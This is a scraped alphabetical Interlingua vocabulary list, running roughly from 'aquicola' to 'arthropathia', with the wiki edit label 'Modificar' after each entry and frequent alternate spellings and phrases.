aquicola(s) aquiculturaModificar aquicultura de aqua dulceModificar aquieroModificar aquiero de strataModificar aquiero stratalModificar aquifereModificar aquifero(s) \/ aquifera(s) aquifoliaceasModificar aquifolioModificar aquilaModificar aquila audaceModificar aquila bicephaleModificar aquila bicephala aquila bicipiteModificar aquila cristateModificar aquila cristata aquila de BonelliModificar aquila de marModificar aquila imperialModificar aquila marinModificar aquila marina aquila piscatorModificar aquila piscatrice aquila regalModificar aquila royalModificar aquilegiaModificar aquilinModificar aquilino(s) \/ aquilina(s) aquilonModificar AquisgranoModificar aquoseModificar aquoso(s) \/ aquosa(s) aquositateModificar aquositate de un fructoModificar arModificar ar [=one hundredth part of a hectare] araModificar arabeModificar arabe(s) \/ arabo(s) \/ araba(s) arabescModificar arabesco(s) \/ arabesca(s) arabescarModificar arabescoModificar arabescos capricioseModificar arabescos capriciosos ArabiaModificar Arabia SaudiModificar Arabia SauditaModificar arabicModificar arabico(s) \/ arabica(s) arabidopsisModificar arabileModificar arabile(s) arabisModificar arabis [la arabis arenoseModificar arabis arenosa arabis hirsuteModificar arabis hirsuta arabis sagittateModificar arabis sagittata arabisarModificar arabizar arabisar Espania MeridionalModificar arabizar Espania Meridional arabisationModificar arabization arabismoModificar arabistaModificar arabitateModificar araboamericanModificar araboamericano(s) \/ araboamericana(s) araboislamicModificar araboislamico(s) \/ araboislamica(s) arabophoneModificar arabophono(s) \/ arabophona(s) araceasModificar arachideModificar arachide [le arachidicModificar arachidico(s) \/ arachidica(s) arachnoideModificar arachnoide(s) adj arachnoidoModificar arachnologiaModificar aracticModificar aractico(s) \/ aractica(s) AragonModificar aragoneseModificar aragonese(s) \/ aragonesa(s) aragoniteModificar arakModificar arak [le araliaModificar araliaceasModificar aramaicModificar aramaico(s) \/ aramaica(s) aramaicoModificar arameoModificar araneaModificar aranea cruciateModificar aranea cruciata aranea de marModificar aranea diademateModificar aranea diademata aranea domesticModificar aranea domestica aranea fumigateModificar aranea fumigata aranea marinModificar aranea marina aranea rubieModificar aranea rubia aranea venenoseModificar aranea venenosa aranifereModificar aranifero(s) \/ aranifera(s) ararModificar arar un campoModificar aration histologicModificar aration histologica aration lacunoseModificar aration lacunosa aration mercurialModificar aratorModificar aratoriModificar aratorio(s) \/ aratoria(s) aratroModificar aratro a niveModificar araturaModificar araucariaModificar araucaria excelseModificar araucaria excelsa araucariaceasModificar arbitrabileModificar arbitrabile(s) arbitrageModificar arbitrage de interesseModificar arbitralModificar arbitral(es) arbitramentoModificar arbitrarModificar arbitrar un controversiaModificar arbitrar una controversia arbitrar un litigioModificar arbitrar un match de footballModificar arbitrar un partitaModificar arbitrar una partita arbitrariModificar arbitrario(s) \/ arbitraria(s) arbitrarietateModificar arbitrationModificar arbitratorModificar arbitrator del governamentoModificar arbitrioModificar arbitroModificar arboreModificar arbore [le \/ la arbore a \/ de cammasModificar arbore a cauchuModificar arbore a folios caducModificar arbore a folios caducos arbore a manivellaModificar arbore a manivella bifurcateModificar arbore a manivella bifurcata arbore a spalierModificar arbore caveModificar arbore cavo \/ cava arbore centenariModificar arbore centenario \/ centenaria arbore de disembracageModificar arbore de frondaModificar arbore de incensoModificar arbore de maioModificar arbore de NatalModificar arbore de transmissionModificar arbore de umbraModificar arbore del ben e del malModificar arbore del ben e \/ et del mal arbore del generatorModificar arbore del heliceModificar arbore del \/ de_la helice arbore del libertateModificar arbore de la libertate arbore del scientia del ben e del malModificar arbore de la scientia del ben e \/ et del mal arbore del vitaModificar arbore de la vita arbore foliaceeModificar arbore foliaceo \/ foliacea arbore frondifereModificar arbore frondifero \/ frondifera arbore fructalModificar arbore fructifereModificar arbore fructifero \/ fructifera arbore genealogicModificar arbore genealogico \/ genealogica arbore giganteModificar arbore gigantescModificar arbore gigantesco \/ gigantesca arbore gummifereModificar arbore gummifero \/ gummifera arbore gummoseModificar arbore gummoso \/ gummosa arbore infructuoseModificar arbore infructuoso \/ infructuosa arbore intermedieModificar arbore intermedio \/ intermedia arbore maladeModificar arbore malado \/ malada arbore motorModificar arbore motor \/ motrice arbore nanoModificar arbore nano \/ nana arbore nudeModificar arbore nudo \/ nuda arbore periphericModificar arbore peripherico \/ peripherica arbore phylogeneticModificar arbore phylogenetica \/ phylogenetica arbore propulsoriModificar arbore propulsorio \/ propulsoria arbore pyramidalModificar arbore que fructifica tardivementeModificar arbore que fructifica tardivamente arbore resinoseModificar arbore resinoso \/ resinosa arbore spinoseModificar arbore spinoso \/ spinosa arbore topiariModificar arbore topiario \/ topiaria arboreeModificar arboreo(s) \/ arborea(s) arbores disponite in quincunceModificar arbores disponitos \/ disponitas in quincunce arbores millenariModificar arbores millenarios \/ millenarias arbores que da umbraModificar arbores que dan umbra arborescenteModificar arborescente(s) arborescentiaModificar arborescerModificar arboretoModificar arborettoModificar arboricoleModificar arboricolo(s) \/ arboricola(s) arboricultorModificar arboriculturaModificar arboriculturalModificar arboricultural(es) arboriculturistaModificar arborisarModificar arborizar arborisateModificar arborizato(s) \/ arborizata(s) arborisationModificar arborization arboristaModificar arbustetoModificar arbustiveModificar arbustivo(s) \/ arbustiva(s) arbustoModificar arbusto de berberisModificar arbusto de caffeModificar arbusto de cotonModificar arbusto de jasminModificar arbusto de rhododendroModificar arbusto de salviaModificar arbusto ornamentalModificar arbusto spinoseModificar arbusto spinoso arcaModificar Arca de AlliantiaModificar arca de NoeModificar arcadaModificar arcada cruralModificar arcada de \/ del palatoModificar arcada del supercilioModificar arcada dentariModificar arcada dentaria arcada orbitariModificar arcada orbitaria arcada de un aqueductoModificar arcadas del rue de RivoliModificar arcadas de la rue de Rivoli ArcadiaModificar arcadianModificar arcadiano(s) \/ arcadiana(s) arcanModificar arcano(s) \/ arcana(s) arcaniflorModificar arcaniflor(es) arcanoModificar arcano del scientiaModificar arcano de la scientia arcanos del politicaModificar arcanos de la politica arcarModificar arcar un pecia de ferroModificar arcar una pecia de ferro arcateModificar arcato(s) \/ arcata(s) arcellaModificar archaicModificar archaico(s) \/ archaica(s) archaicitateModificar archaicitate de un traditionModificar archaicitate de una tradition archaisanteModificar archaizante(s) archaisarModificar archaizar archaisationModificar archaization archaismoModificar archaistaModificar archaisticModificar archaistico(s) \/ archaistica(s) archangelicModificar archangelico(s) \/ archangelica(s) archangeloModificar archeologiaModificar archeologia egyptianModificar archeologia egyptiana archeologia grecModificar archeologia greca archeologia medievalModificar archeologia orientalModificar archeologia prehistoricModificar archeologia prehistorica archeologia submarinModificar archeologia submarina archeologicModificar archeologico(s) \/ archeologica(s) archeologistaModificar archeologoModificar archeomagnetismoModificar archeopterixModificar archeozoicoModificar archeroModificar archettoModificar archetypicModificar archetypico(s) \/ archetypica(s) archetypoModificar archiblastoModificar archicancelleroModificar archidiaconoModificar archidiocese = archidiocesisModificar archiduceModificar archiducalModificar archiducal(es) archiducatoModificar archiduchessaModificar archiepiscopalModificar archiepiscopal(es) archiepiscopatoModificar archiepiscopoModificar archimandritaModificar archimandrita [le ArchimedesModificar archimedianModificar archimediano(s) \/ archimediana(s) archipelagoModificar archipelago indonesianModificar archipelago indonesiano archiphonemaModificar archipresbyteralModificar archipresbyteral(es) archipresbyteroModificar architectoModificar architecto barocModificar architecto baroco architecto de jardinesModificar architecto municipalModificar architecto navalModificar architecto paisagistaModificar architectonicModificar architectonico(s) \/ architectonica(s) architectonicaModificar architecturaModificar architectura barocModificar architectura baroca architectura carolingianModificar architectura carolingiana architectura cistercienseModificar architectura con briccasModificar architectura de jardinesModificar architectura del paisageModificar architectura del RenascentiaModificar architectura de la Renascentia architectura functionalModificar architectura gothicModificar architectura gothica architectura grecModificar architectura greca architectura hydraulicModificar architectura hydraulica architectura incaModificar architectura industrialModificar architectura inspirate del antiquitateModificar architectura inspirata de la antiquitate architectura navalModificar architectura neoclassicModificar architectura neoclassica architectura rococoModificar architectura severModificar architectura severa architectura urbanModificar architectura urbana architecturalModificar architectural(es) architrave = architrabeModificar archivalModificar archival(es) archivamentoModificar archivarModificar archivar un documentoModificar archivistaModificar archivista del interprisaModificar archivista de la interprisa archivista statalModificar archivisticModificar archivistico(s) \/ archivistica(s) archivisticaModificar archivoModificar archivo cinematographicModificar archivo cinematographico archivo de duplicatosModificar archivo de sonosModificar archivo del interprisaModificar archivo de la interprisa archivo del statoModificar archivo familiarModificar archivo monachalModificar archivo monasticModificar archivo monastico archivo municipalModificar archivo nationalModificar archivo notarialModificar archivo parochialModificar archivo personalModificar archivo statalModificar archivoltaModificar archontatoModificar archonteModificar arcionModificar arcoModificar arco alveolarModificar arco aorticModificar arco aortico arco branchialModificar arco costalModificar arco de circuloModificar arco de contactoModificar arco de discargaModificar arco de honorModificar arco de suspensionModificar arco de tensionModificar arco de triumphoModificar arco del celoModificar arco diurneModificar arco diurno arco ellipticModificar arco elliptico arco graduateModificar arco graduato arco luminoseModificar arco luminoso arco mandibularModificar arco neuralModificar arco ogivalModificar arco pubicModificar arco pubico arco reflexeModificar arco reflexo arco rondeModificar arco rondo arco rotundeModificar arco rotundo arco segmentalModificar arco triumphalModificar arco vertebralModificar arco voltaicModificar arco voltaico arco zygomaticModificar arco zygomatico arcoballistaModificar arcoballisteroModificar arcosolioModificar arcticModificar arctico(s) \/ arctica(s) arctioModificar arctotaphylosModificar ArcturoModificar ArdennasModificar ardenneseModificar ardennese(s) \/ ardennesa(s) ardenteModificar ardente(s) ardeolaModificar ardeola ralloideModificar arderModificar arder como un torchaModificar arder como una torcha arder sin flammaModificar ardesiaModificar ardesia a quadrosModificar ardesia a scriberModificar ardesieraModificar ardesieroModificar ardesioseModificar ardesioso(s) \/ ardesiosa(s) ardimentoModificar arditeModificar ardito(s) \/ ardita(s) ardite per le solModificar [ardito(s) \/ ardita(s)] per le sol ardituraModificar arditura de secunde gradoModificar arditura de secundo grado arditura del solModificar ardorModificar ardor del passionModificar ardor de la passion ardor del solModificar ardor juvenilModificar ardor patrioticModificar ardor patriotico ardor poeticModificar ardor poetico ardoroseModificar ardoroso(s) \/ ardorosa(s) ardueModificar arduo(s) \/ ardua(s) arduitateModificar areaModificar area agricoleModificar area agricola area anticyclonalModificar area cyclonalModificar area cyclonicModificar area cyclonica area de alte pressionModificar area de alta pression area de basse pressionModificar area de bassa pression area de civilisationModificar area de civilization area de commercioModificar area de constructionModificar area de patinage (artificial)Modificar area de penalitateModificar area de penaltyModificar area de visibilitateModificar area de visionModificar area del disastroModificar area del libra sterlingModificar area de la libra sterling area depressionariModificar area depressionaria area industrialModificar area irrigabileModificar area submergiteModificar area submergita area urbanModificar area urbana area visualModificar arecaModificar areicModificar areico(s) \/ areica(s) areligioseModificar areligioso(s) \/ areligiosa(s) arenaModificar arena abrasiveModificar arena abrasiva arena argentifereModificar arena argentifera arena aurifereModificar arena aurifera arena bituminoseModificar arena bituminosa arena de marModificar arena de mundarModificar arena de nettarModificar arena de rivieraModificar arena del circoModificar arena del marModificar arena del \/ de_la mar arena diamantifereModificar arena diamantifera arena ferruginoseModificar arena ferruginosa arena finModificar arena fina arena fluvialModificar arena mobileModificar arena moventeModificar arena quarzoseModificar arena quarzosa arena titanifereModificar arena titanifera arenaceeModificar arenaceo(s) \/ arenacea(s) arenamentoModificar arenar (se)Modificar arenariModificar arenario(s) \/ arenaria(s) arenariaModificar arenarioModificar arenavirusModificar areneroModificar arenicolaModificar arenicola marinModificar arenicola marina arenicoleModificar arenicolo(s) \/ arenicola(s) arenifereModificar arenifero(s) \/ arenifera(s) areniformeModificar areniforme(s) arenoseModificar arenoso(s) \/ arenosa(s) arenositateModificar areolaModificar areolarModificar areolar(es) adj areometriaModificar areometroModificar areopagitaModificar areopagita [le areopagiticModificar areopagitico(s) \/ areopagitica(s) AreopagoModificar areostiloModificar AresModificar argentanoModificar argentano in foliosModificar argentano laminateModificar argentano laminato argentarModificar argentateModificar argentato(s) \/ argentata(s) argentationModificar argentatorModificar argentaturaModificar argenteeModificar argenteo(s) \/ argentea(s) argenteriaModificar argenteria de tabulaModificar argenteria sacrateModificar argenteria sacrata argenteroModificar argenticModificar argentico(s) \/ argentica(s) argentifereModificar argentifero(s) \/ argentifera(s) argentinModificar argentino(s) \/ argentina(s) ArgentinaModificar argentinaModificar argentinoModificar argentiteModificar argentoModificar argento colloidalModificar argento de cuppellaModificar argento finModificar argento fino argento fulminanteModificar argento in barrasModificar argento in laminasModificar argento mussiveModificar argento mussivo argento niellateModificar argento niellato argento purModificar argento puro argento viveModificar argento vivo argentoseModificar argentoso(s) \/ argentosa(s) argillaModificar argilla blancModificar argilla blanca argilla calcariModificar argilla calcaria argilla de potteriaModificar argilla fluvialModificar argilla grasseModificar argilla grassa argilla lateriticModificar argilla lateritica argilla legierModificar argilla legiera argilla magreModificar argilla magra argilla marinModificar argilla marina argilla marnoseModificar argilla marnosa argilla plasticModificar argilla plastica argilla pro tegulasModificar argilla refractariModificar argilla refractaria argilla schistoseModificar argilla schistosa argilla smecticModificar argilla smectica argillaceeModificar argillaceo(s) \/ argillacea(s) argilloseModificar argilloso(s) \/ argillosa(s) arginaseModificar argininaModificar ArgoModificar argonModificar ArgonautaModificar argonauticModificar argonautico(s) \/ argonautica(s) argot [F]Modificar argoticModificar argotico(s) \/ argotica(s) argotismoModificar arguerModificar arguibileModificar argumentabileModificar argumentarModificar argumentar contra un adversarioModificar argumentar deductivementeModificar argumentar deductivamente argumentar illativementeModificar argumentar illativamente argumentar in favor de un theseModificar argumentar in favor de una these argumentationModificar argumentation concludenteModificar argumentation defectuoseModificar argumentation defectuosa argumentation logicModificar argumentation logica argumentation stringenteModificar argumentation vulnerabileModificar argumentativeModificar argumentativo(s) \/ argumentativa(s) argumentatorModificar argumentoModificar argumento ad hominemModificar argumento affectiveModificar argumento affectivo argumento captioseModificar argumento captioso argumento confutabileModificar argumento consistenteModificar argumento contraproducenteModificar argumento contraproductiveModificar argumento contraproductivo argumento contrariModificar argumento contrario argumento cornuteModificar argumento cornuto argumento de pesoModificar argumento decisiveModificar argumento decisivo argumento demonstrativeModificar argumento demonstrativo argumento invincibileModificar argumento juridicModificar argumento juridico argumento oppositeModificar argumento opposito argumento pauco \/ poco solideModificar argumento pauco \/ poco solido argumento peremptoriModificar argumento peremptorio argumento ponderoseModificar argumento ponderoso argumento probanteModificar argumento refutabileModificar argumento solideModificar argumento solido argumento specioseModificar argumento specioso argumentos antitheticModificar argumentos antitheticos argumentos derisoriModificar argumentos derisorios argumentos fallaceModificar argumentos fallaces argumentos inconfutabileModificar argumentos inconfutabiles argumentos incontrovertibileModificar argumentos incontrovertibiles argumentos inoppugnabileModificar argumentos inoppugnabiles argumentos irrisoriModificar argumentos irrisorios argumentos sophisticModificar argumentos sophisticos argumentos spurieModificar argumentos spurios argumentos valideModificar argumentos validos argus = argosModificar arguteModificar arguto(s) \/ arguta(s) argutiaModificar argutiarModificar argyrantheModificar argyranthe(s) argyricModificar argyrico(s) \/ argyrica(s) argyrismoModificar argyriteModificar argyrocarpeModificar argyrocarpo(s) \/ artyrocarpa(s) argyronetaModificar argyrophylleModificar argyrophyllo(s) \/ argyrophylla(s) arhythmiaModificar arhythmicModificar arhythmico(s) \/ arhythmica(s) ariaModificar aria de bravuraModificar aria de concertoModificar AriadnaModificar arianModificar ariano(s) \/ ariana(s) arianisarModificar arianizar arianismoModificar arianoModificar arideModificar arido(s) \/ arida(s) aridicolaModificar aridicoleModificar aridicolo(s) \/ aridicola(s) ariditateModificar AriesModificar ArieteModificar arietaniveModificar arietarModificar arietar le muros del citate assediateModificar arietar los muros de la citate assediata arietariModificar arietario(s) \/ arietaria(s) arietationModificar arieteModificar ariete hydraulicModificar ariete hydraulico ariettaModificar arillateModificar arillato(s) \/ arillata(s) arilloModificar arionModificar arion fuscModificar arion fusco ariosoModificar arisarModificar arizar arisar un velaModificar arizar una vela aristaModificar aristifolieModificar aristifolio(s) \/ aristifolia(s) aristocrateModificar aristocrate [le \/ la aristocratiaModificar aristocratia del sentimentosModificar aristocratia de los sentimentos aristocraticModificar aristocratico(s) \/ aristocratica(s) aristocraticitateModificar aristolochiaModificar aristolochiaceasModificar aristolochiaceeModificar aristolochiaceo(s) \/ aristolochiacea(s) AristoteleModificar aristotelianoModificar aristotelicModificar aristotelico(s) \/ aristotelica(s) aristotelismoModificar arithmeticModificar arithmetico(s) \/ arithmetica(s) arithmeticaModificar arithmetica commercialModificar arithmetica mercantilModificar arithmeticoModificar arithmetisationModificar arithmetization arithmographoModificar arithmogriphoModificar arithmologiaModificar arithmomantiaModificar arithmometroModificar ArlequinModificar arlequinModificar arlequinadaModificar armaModificar arma a curte portataModificar arma a curta portata arma a \/ de focoModificar arma a \/ de foco portativeModificar arma a \/ de foco portativa arma a \/ de percussionModificar arma a punctaModificar arma antipersonalModificar arma antisatelliteModificar arma antitankModificar arma atomicModificar arma atomica arma atomic tacticModificar arma atomica tactica arma automaticModificar arma automatica arma blancModificar arma blanca arma chimicModificar arma chimica arma de attaccoModificar arma de bordoModificar arma de chassaModificar arma de defensaModificar arma de destructionModificar arma de dissuasionModificar arma de manoModificar arma de offensivaModificar arma de subjectoModificar arma defensiveModificar arma guerrierModificar arma guerriera arma homicidaModificar arma legierModificar arma legiera arma missileModificar arma nuclearModificar arma nuclear tacticModificar arma nuclear tactica arma offensiveModificar arma offensiva arma rocchettaModificar arma semiautomaticModificar arma semiautomatica arma spatialModificar armadaModificar Armada InvincibileModificar armadilloModificar armageddonModificar armamentarioModificar armamentoModificar armamento atomicModificar armamento atomico armamento conventionalModificar armamento del avionModificar armamento nuclearModificar armarModificar armar betonModificar armar se con \/ de un pistolaModificar armar se con \/ de una pistola armar se patientiaModificar armar un persona cavalleroModificar armar una persona cavallero armarioModificar armario a incastrarModificar armario a speculoModificar armario de bureauModificar armario de catalogoModificar armario de discosModificar armario de dossiersModificar armario de instrumentosModificar armario de joculosModificar armario de librosModificar armario de officioModificar armario de parieteModificar armario del medicinasModificar armario de las medicinas armario frigorificModificar armario frigorifico armario incastrateModificar armario incastrato armario muralModificar armario paramuscasModificar armario profundeModificar armario profundo armario secreteModificar armario secreto armario vitrateModificar armario vitrato armas atomic, chimic e bacteriologicModificar armas atomicas, chimicas e \/ et bacteriologicas armas biologicModificar armas biologicas armas conventionalModificar armas conventionales armas de guerraModificar armas defensiveModificar armas defensivas armas legierModificar armas legieras armas moderneModificar armas modernas armas pesanteModificar armas pesantes armas prohibiteModificar armas prohibitas armas strategicModificar armas strategicas armas tabuModificar armas thermonuclearModificar armas thermonucleares armateModificar armato(s) \/ armata(s) armate (usque) al dentesModificar [armato(s) \/ armata(s)] (usque) a los dentes armate de un arco e de sagittasModificar [armato(s) \/ armata(s)] de un arco e \/ et de sagittas armatorModificar armatoriModificar armatorio(s) \/ armatoria(s) armatorialModificar armatorial(es) armaturaModificar armatura de cavalloModificar armatura de lattesModificar armatura de trabes \/ travesModificar armatura de un magneteModificar armatura del tectoModificar armatura del tecto armeaModificar armea activeModificar armea activa armea aereeModificar armea aerea armea auxiliarModificar armea celesteModificar armea cobelligerenteModificar armea de beduinesModificar armea de cavallerosModificar armea de disimbarcationModificar armea de invasionModificar armea de liberationModificar armea de marModificar armea de mercenariosModificar armea de mestieroModificar armea de occupationModificar armea de rebellosModificar Armea de SalvationModificar Armea del SaluteModificar Armea de la Salute armea de succursoModificar armea(s) de terraModificar armea de voluntariosModificar armea expeditionariModificar armea expeditionaria armea federalModificar armea forteModificar armea inimicModificar armea inimica armea invincibileModificar armea mercenariModificar armea mercenaria armea pedestreModificar armea permanenteModificar armea potenteModificar armea professionalModificar armea regularModificar Armea RubieModificar Armea Rubia armea sudistaModificar armea terrestreModificar armea victorioseModificar armea victoriosa ArmeniaModificar armeniacaModificar armenieModificar armenio(s) \/ armenia(s) armenioModificar armeriaModificar armeria alpinModificar armeria alpina armeroModificar armillaModificar armillarModificar armillar(es) armillariaModificar armillaria de melleModificar armillaria mellateModificar armillaria mellata armillarioModificar arminianoModificar armipotenteModificar armipotente(s) armistitialModificar armistitial(es) armistitioModificar armoraciaModificar armorialModificar armorial(es) ArmoricaModificar armoricanModificar armoricano(s) \/ armoricana(s) ARN: Acido RibonucleicModificar ARN: Acido Ribonucleico arnebiaModificar arnicaModificar arnoserisModificar aroModificar aro blancModificar aro blanco aro italicModificar aro italico aro maculateModificar aro maculato aroma (flor)Modificar aroma [la aroma (perfumo)Modificar aroma [le aroma de butyroModificar aroma de \/ del caffeModificar aroma de floresModificar aroma de jasminModificar aroma de \/ del pinosModificar aroma de \/ de_los pinos aroma de rosasModificar aroma de tabacoModificar aroma de thymoModificar aroma de vinoModificar aroma dulceModificar aromateModificar aromate [le aromaticModificar aromatico(s) \/ aromatica(s) aromaticitateModificar aromatisanteModificar aromatizante(s) aromatisarModificar aromatizar aromatisar un bibitaModificar aromatizar una bibita aromatisateModificar aromatizato(s) \/ aromatizata(s) aromatisationModificar aromatization aromatisation de un bibitaModificar aromatization de una bibita aromorphose = aromorphosisModificar aroniaModificar arpeggiar {dj}Modificar arpeggio [I]Modificar arpentaModificar arquebuseModificar arquebuseroModificar arrangiamento {j}Modificar arrangiamento alphabeticModificar arrangiamento alphabetico arrangiamento amicabileModificar arrangiamento clarModificar arrangiamento claro arrangiamento collusoriModificar arrangiamento collusorio arrangiamento de floresModificar arrangiamento floralModificar arrangiamento floral de NatalModificar arrangiamento musicalModificar arrangiamento theatralModificar arrangiar {j}Modificar arrangiar flores in un vasoModificar arrangiar papirosModificar arrangiar seModificar arrangiar un cameraModificar arrangiar una camera arrangiar un pecia de theatroModificar arrangiar una pecia de theatro arrangiar un viageModificar arrangiate in forma tabularModificar [arrangiato(s) \/ arrangiata(s)] in forma tabular arrangiate in forma tabulateModificar [arrangiato(s) \/ arrangiata(s)] in forma tabulata arrangiator {j}Modificar arrentabileModificar arrentabile(s) arrentamentoModificar arrentamento arretrateModificar arrentamento arretrato arrentamento non pagateModificar arrentamento non pagato arrentarModificar arrentar un terrenoModificar arrentatorModificar arrestarModificar arrestar de legerModificar arrestar le avantiamentoModificar arrestar le circulationModificar arrestar la circulation arrestar le hemorrhagiaModificar arrestar la hemorrhagia arrestar le motorModificar arrestar le trafficoModificar arrestar seModificar arrestar su auto \/ automobileModificar arrestar su horologioModificar arrestar un criminalModificar arrestar un exoperoModificar arrestar un suspectoModificar arrestationModificar arrestation provisoriModificar arrestation provisoria arrestoModificar arresto bruscModificar arresto brusco arresto cardiacModificar arresto cardiaco arresto de molinoModificar arresto de un fusilModificar arresto de un motorModificar arresto del cordeModificar arresto del hostilitatesModificar arresto de las hostilitates arresto del laborModificar arresto del pulsoModificar arresto del travalioModificar arresto domiciliariModificar arresto domiciliario arresto facultativeModificar arresto facultativo arresto fortiateModificar arresto fortiato arresto in le crescentiaModificar arresto in la crescentia arresto in massaModificar arretramentoModificar arretrarModificar arretrar le horologioModificar arretrar seModificar arretrateModificar arretrato(s) \/ arretrata(s) arretratoModificar arretrato de locationModificar arrhaModificar arrhenatheroModificar arrivarModificar arrivar a casaModificar arrivar a un accordoModificar arrivar a un certe etateModificar arrivar a una certa etate arrivar al apiceModificar arrivar al conclusionModificar arrivar a la conclusion arrivar al essentialModificar arrivar currenteModificar arrivar currendo arrivar in retardoModificar arrivar opportunmenteModificar arrivar opportunamente arrivar plen de apprehensionModificar arrivar pleno de apprehension arrivar super un rateModificar arrivar super una rate arrivataModificar arrivata del trainoModificar arrivismoModificar arrivistaModificar arroganteModificar arrogante(s) arrogantiaModificar arrogantia del poterModificar arrogarModificar arrogar seModificar arrogar se un derectoModificar arrogationModificar arrotundamentoModificar arrotundarModificar arrotundar le angulosModificar arrotundar los angulos arrugarModificar arrugar le fronteModificar arrugar le superciliosModificar arrugar los supercilios arsenalModificar arsenatoModificar arsenato de plumboModificar arsenicModificar arsenico(s) \/ arsenica(s) arsenicalModificar arsenical(es) arsenicoModificar arsenicophagoModificar arseniophosphatoModificar arsenioseModificar arsenioso(s) \/ arseniosa(s) arseniosulfatoModificar arsenitoModificar arseniumModificar arsinaModificar arteModificar arte [la \/ le arte a theseModificar arte abstracteModificar arte abstracta \/ abstracto arte antiqueModificar arte antiqua \/ antiquo arte arabeModificar arte arabe \/ araba \/ arabo arte archaicModificar arte archaica \/ archaico arte artisanalModificar arte barocModificar arte baroca \/ baroco arte celticModificar arte celtica \/ celtico arte ceramicModificar arte ceramica \/ ceramico arte chalcographicModificar arte chalcographica \/ calcographico arte choreographicModificar arte choreographica \/ choreographico arte cinematographicModificar arte cinematographica \/ cinematographico arte conceptualModificar arte creteseModificar arte cretese \/ cretesa arte cubistaModificar arte cubisticModificar arte cubistica \/ cubistico arte culinariModificar arte culinaria \/ culinario arte de amarModificar arte de cocinarModificar arte de composition floralModificar arte de construerModificar arte de facer rimasModificar arte de governarModificar arte de \/ del guerraModificar arte de \/ de_la guerra arte de magiaModificar arte de scriberModificar arte de texerModificar arte de theseModificar arte de traducerModificar arte de translatarModificar arte de viverModificar arte decadenteModificar arte decorativeModificar arte decorativa \/ decorativo arte degenerateModificar arte degenerata \/ degenerato arte del aurificeModificar arte del broderiaModificar arte de la broderia arte del cantoModificar arte del cocinaModificar arte de la cocina arte del dansaModificar arte de la dansa arte del descriptionModificar arte de la description arte del designoModificar arte del frescoModificar arte del lutModificar arte del medievoModificar arte del picturaModificar arte de la pictura arte del prestidigitatorModificar arte del xylographiaModificar arte de la xylographia arte dramaticModificar arte dramatica \/ dramatico arte egyptianModificar arte egyptiana \/ egyptiano arte epistolariModificar arte epistolaria \/ epistolario arte eristicModificar arte eristica \/ eristico arte eroticModificar arte erotica \/ erotico arte figurativeModificar arte figurativa \/ figurativo arte futuristaModificar arte glypticModificar arte glyptica \/ glyptico arte grecoromanModificar arte grecoromana \/ grecoromano arte hellenisticModificar arte hellenistica \/ hellenistico arte heraldicModificar arte heraldica \/ heraldico arte hermeneuticModificar arte hermeneutica \/ hermeneutico arte iconicModificar arte iconica \/ iconico arte inimitabileModificar arte magicModificar arte magica \/ magico arte mechanicModificar arte mechanica \/ mechanico arte mexicanModificar arte mexicana \/ mexicano arte militarModificar arte minimalModificar arte monumentalModificar arte mosanModificar arte mosana \/ mosano arte mozarabeModificar arte mozarabicModificar arte mozarabica \/ mozarabico arte musulmanModificar arte musulmana \/ musulmano arte naiveModificar arte narrativeModificar arte narrativa \/ narrativo arte natatoriModificar arte natatoria \/ natatorio arte nauticModificar arte nautica \/ nautico arte non-figurativeModificar arte non-figurativa \/ non-figurativo arte numismaticModificar arte numismatica \/ numismatico arte obsidionalModificar arte oratoriModificar arte oratoria \/ oratorio arte ornamentalModificar arte paleochristianModificar arte paleochristiana \/ paleochristiano arte pantomimicModificar arte pantomimica \/ pantomimico arte picturalModificar arte plasticModificar arte plastica \/ plastico arte poeticModificar arte poetica \/ poetico arte popModificar arte popularModificar arte precolumbianModificar arte precolumbiana \/ precolumbiano arte primitiveModificar arte primitiva \/ primitivo arte psychedelicModificar arte psychedelica \/ psychedelico arte pyrotechnicModificar arte pyrotechnica \/ pyrotechnico arte religioseModificar arte religiosa \/ religioso arte rupestreModificar arte saracenModificar arte saracena \/ saraceno arte saracenicModificar arte saracenica \/ saracenico arte scenicModificar arte scenica \/ scenico arte sculpturalModificar arte staticModificar arte statica \/ statico arte statuariModificar arte statuaria \/ statuario arte sumerianModificar arte sumeriana \/ sumeriano arte theatralModificar arte topiariModificar arte topiaria \/ topiario arte venatoriModificar arte venatoria \/ venatorio arte xylographicModificar arte xylographica \/ xylographico artefactoModificar artemisiaModificar artemisia campestreModificar artemisia maritimeModificar artemisia maritima arteriaModificar arteria abdominalModificar arteria brachial \/ bracialModificar arteria cardiacModificar arteria cardiaca arteria cerebralModificar arteria cervicalModificar arteria collateralModificar arteria coronariModificar arteria coronaria arteria cruralModificar arteria cutaneeModificar arteria cutanea arteria de \/ del circulationModificar arteria de \/ de_la circulation arteria de \/ del trafficoModificar arteria del colloModificar arteria dorsalModificar arteria epigastricModificar arteria epigastrica arteria femoralModificar arteria frontalModificar arteria gastricModificar arteria gastrica arteria gutturalModificar arteria hepaticModificar arteria hepatica arteria humeralModificar arteria jugularModificar arteria lingualModificar arteria maxillarModificar arteria mesentericModificar arteria mesenterica arteria nasalModificar arteria ophthalmicModificar arteria ophthalmica arteria pelvicModificar arteria pelvica arteria peronealModificar arteria peroneeModificar arteria peronea arteria profundeModificar arteria profunda arteria pulmonarModificar arteria radialModificar arteria renalModificar arteria sciaticModificar arteria sciatica arteria spermaticModificar arteria spermatica arteria splenicModificar arteria splenica arteria subclavieModificar arteria subclavia arteria suralModificar arteria trachealModificar arteria vertebralModificar arteria vesicalModificar arterialModificar arterial(es) arterialisarModificar arterializar arterialisationModificar arterialization arterias bronchialModificar arterias bronchiales arteriogrammaModificar arteriographiaModificar arteriolaModificar arteriologiaModificar arteriopathiaModificar arteriosclerose = arteriosclerosisModificar arterioscleroticModificar arteriosclerotico(s) \/ arteriosclerotica(s) arterioscleroticoModificar arterioseModificar arterioso(s) \/ arteriosa(s) arteriotomiaModificar arteriticModificar arteritico(s) \/ arteritica(s) arteritisModificar artes applicateModificar artes applicatas \/ applicatos artes diabolicModificar artes diabolicas \/ diabolicos artes figurativeModificar artes figurativas \/ figurativos artes graphicModificar artes graphicas \/ graphicos artes industrialModificar artes industriales artes liberalModificar artes liberales artes martialModificar artes martiales artes plasticModificar artes plasticas \/ plasticos ArtesiaModificar artesianModificar artesiano(s) \/ artesiana(s) arthralgiaModificar arthriticModificar arthritico(s) \/ arthritica(s) arthriticoModificar arthritisModificar arthritis acute o chronicModificar arthritis acuta aut chronica arthritis deformanteModificar arthritis del hancaModificar arthritis de la hanca arthritis nodoseModificar arthritis nodosa arthritis rheumaticModificar arthritis rheumatica arthritismoModificar arthrographiaModificar arthrologiaModificar arthropathiaModificar 